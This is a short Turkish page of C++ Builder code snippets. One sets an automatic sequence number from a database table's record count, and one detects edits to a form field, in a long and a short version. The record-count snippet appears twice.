Veri Tabanı Kullananlar için Otomatik Sıra Numarası Veren Program Parçası
void __fastcall TForm3::DBEdit3Change(TObject *Sender)
{
DBEdit111->Text=Table1->RecordCount;
}
// Böyle yapınca DBEdit2 içersini sırayla bir bir artıyor.
C++ Builder - .....................................
Veri Tabanı Kullananlar için Otomatik Sıra Numarası Veren Program Parçası
void __fastcall TForm3::DBEdit3Change(TObject *Sender)
{
DBEdit111->Text=Table1->RecordCount;
}
// Böyle yapınca DBEdit2 içersini sırayla bir bir artıyor.
C++ Builder - .....................................
Edit ve Benzeri Elemanların Üzerinde Değişiklik Olduğu Zaman Fark Eden Program Parçası
Uzun Yolu
void __fastcall TForm3::Edit3Change(TObject *Sender)
{
int a,b=32;
if (DBEdit3->ReadOnly==false)
{
a=StrToInt(DBEdit3->Text.Length());
b=a-1;
if (a>b)
{
ToolButton2->Enabled=true;
ToolButton1->Enabled=false;
ToolButton4->Enabled=false;
ToolButton3->Enabled=false;
ToolButton8->Enabled=false;
}
}
}
Kısa Yolu
void __fastcall TForm3::Edit3Change(TObject *Sender)
{
if (Edit1->Modified) ShowMessage ("Değişiklik Yapıldı.");
}
C++ Builder - .....................................
